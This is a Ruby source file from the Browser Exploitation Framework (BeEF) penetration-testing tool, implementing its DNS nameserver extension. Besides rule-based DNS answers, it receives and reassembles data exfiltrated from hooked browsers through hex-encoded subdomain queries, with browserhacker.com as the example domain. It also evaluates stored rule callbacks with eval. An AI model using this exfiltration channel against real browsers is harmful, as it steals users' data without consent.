#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Extension7module Dns8# Provides the core DNS nameserver functionality. The nameserver handles incoming requests9# using a rule-based system. A list of user-defined rules is used to match against incoming10# DNS requests. These rules generate a response that is either a resource record or a11# failure code.12class Server < Async::DNS::Server13include Singleton1415def initialize16super()17logger.level = Logger::ERROR18@lock = Mutex.new19@database = BeEF::Core::Models::Dns::Rule20@data_chunks = {}21@server_started = false22end2324# Adds a new DNS rule. If the rule already exists, its current ID is returned.25#26# @example Adds an A record for browserhacker.com with the IP address 1.2.3.427#28# dns = BeEF::Extension::Dns::Server.instance29#30# id = dns.add_rule(31# :pattern => 'browserhacker.com',32# :resource => Resolv::DNS::Resource::IN::A,33# :response => '1.2.3.4'34# )35#36# @param rule [Hash] hash representation of rule37# @option rule [String, Regexp] :pattern match criteria38# @option rule [Resolv::DNS::Resource::IN] :resource resource record type39# @option rule [String, Array] :response server response40#41# @return [String] unique 8-digit hex identifier42def add_rule(rule = {})43@lock.synchronize do44# Temporarily disable warnings regarding IGNORECASE flag45verbose = $VERBOSE46$VERBOSE = nil47pattern = Regexp.new(rule[:pattern], Regexp::IGNORECASE)48$VERBOSE = verbose4950@database.find_or_create_by(51resource: rule[:resource].to_s,52pattern: pattern.source,53response: rule[:response]54).id55end56end5758# Retrieves a specific rule given its identifier.59#60# @param id [String] unique identifier for rule61#62# @return [Hash] hash representation of rule (empty hash if rule wasn't found)63def get_rule(id)64@lock.synchronize do65rule = @database.find(id)66return to_hash(rule)67rescue ActiveRecord::RecordNotFound68return nil69end70end7172# Removes the given DNS rule.73#74# @param id [String] rule identifier75#76# @return [Boolean] true if rule was removed, otherwise false77def remove_rule!(id)78@lock.synchronize do79begin80rule = @database.find(id)81return true if !rule.nil? && rule.destroy82rescue ActiveRecord::RecordNotFound83return nil84end85return false86end87end8889# Returns an AoH representing the entire current DNS ruleset.90#91# Each element is a hash with the following keys:92#93# * <code>:id</code>94# * <code>:pattern</code>95# * <code>:resource</code>96# * <code>:response</code>97#98# @return [Array<Hash>] DNS ruleset (empty array if no rules are currently defined)99def get_ruleset100@lock.synchronize { @database.all { |rule| to_hash(rule) } }101end102103# Removes the entire DNS ruleset.104#105# @return [Boolean] true if ruleset was destroyed, otherwise false106def remove_ruleset!107@lock.synchronize do108return true if @database.destroy_all109end110end111112# Starts the DNS server.113#114# @param options [Hash] server configuration options115# @option options [Array<Array>] :upstream upstream DNS servers (if ommitted, unresolvable116# requests return NXDOMAIN)117# @option options [Array<Array>] :listen local interfaces to listen on118def run(options = {})119@lock.synchronize do120Thread.new do121EventMachine.next_tick do122next if @server_started # Check if the server was already started123upstream = options[:upstream] || nil124125listen = options[:listen] || nil126# listen is called enpoints in Async::DNS127@endpoints = listen128129if upstream130resolver = Async::DNS::Resolver.new(upstream)131@otherwise = proc { |t| t.passthrough!(resolver) }132end133134begin135# super(:listen => listen)136Thread.new { super() }137@server_started = true # Set the server started flag138rescue RuntimeError => e139if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use140print_error "[DNS] Another process is already listening on port #{options[:listen]}"141print_error 'Exiting...'142exit 127143else144raise145end146end147end148end149end150end151152def stop153return unless @server_started # Check if the server was started154155# Logic to stop the Async::DNS server156puts EventMachine.stop if EventMachine.reactor_running?157@server_started = false # Reset the server started flag158end159160# Entry point for processing incoming DNS requests. Attempts to find a matching rule and161# sends back its associated response.162#163# @param name [String] name of the resource record being looked up164# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)165# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer166def process(name, resource, transaction)167@lock.synchronize do168resource = resource.to_s169170print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"171172# no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.173# this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.174if format_resource(resource) == 'A' && name.match(/^0xb3/)175reconstruct(name.split('0xb3').last)176catch(:done) do177transaction.fail!(:NXDomain)178end179return180end181182catch(:done) do183# Find rules matching the requested resource class184resources = @database.where(resource: resource)185throw :done if resources.length == 0186187# Narrow down search by finding a matching pattern188resources.each do |rule|189pattern = Regexp.new(rule.pattern)190191next unless name =~ pattern192193print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"194proc { |_t| eval(rule.callback) }.call(transaction)195throw :done196end197198if @otherwise199print_debug 'No match found, querying upstream servers'200@otherwise.call(transaction)201else202print_debug 'No match found, sending NXDOMAIN response'203transaction.fail!(:NXDomain)204end205end206end207end208209private210211# Collects and reconstructs data extruded by the client and found in subdomain, with structure like:212# 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com213# [...]214# 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com215def reconstruct(data)216split_data = data.split('.')217pack_id = split_data[0]218seq_num = split_data[1]219seq_tot = split_data[2]220data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)221222unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/)223print_debug "[DNS] Received invalid chunk:\n #{data}"224return225end226227print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"228229if @data_chunks[pack_id].nil?230# no previous chunks received, create new Array to store chunks231@data_chunks[pack_id] = Array.new(seq_tot.to_i)232@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk233else234# previous chunks received, update Array235@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk236if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE'237# means that no position in the array is false/nil, so we received all the packet chunks238packet_data = @data_chunks[pack_id].join('')239decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*')240print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"241242# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it243@data_chunks[pack_id] = 'DONE'244end245end246end247248# Helper method that converts a DNS rule to a hash.249#250# @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted251#252# @return [Hash] hash representation of DNS rule253def to_hash(rule)254hash = {}255hash[:id] = rule.id256hash[:pattern] = rule.pattern257hash[:resource] = format_resource(rule.resource)258hash[:response] = rule.response259260hash261end262263# Verifies that the given ID is valid.264#265# @param id [String] identifier to validate266#267# @return [Boolean] true if ID is valid, otherwise false268def is_valid_id?(id)269BeEF::Filters.hexs_only?(id) &&270!BeEF::Filters.has_null?(id) &&271!BeEF::Filters.has_non_printable_char?(id) &&272id.length == 8273end274275# Helper method that formats the given resource class in a human-readable format.276#277# @param resource [Resolv::DNS::Resource::IN] resource class278#279# @return [String] resource name stripped of any module/class names280def format_resource(resource)281/::(\w+)$/.match(resource)[1]282end283end284end285end286end287288289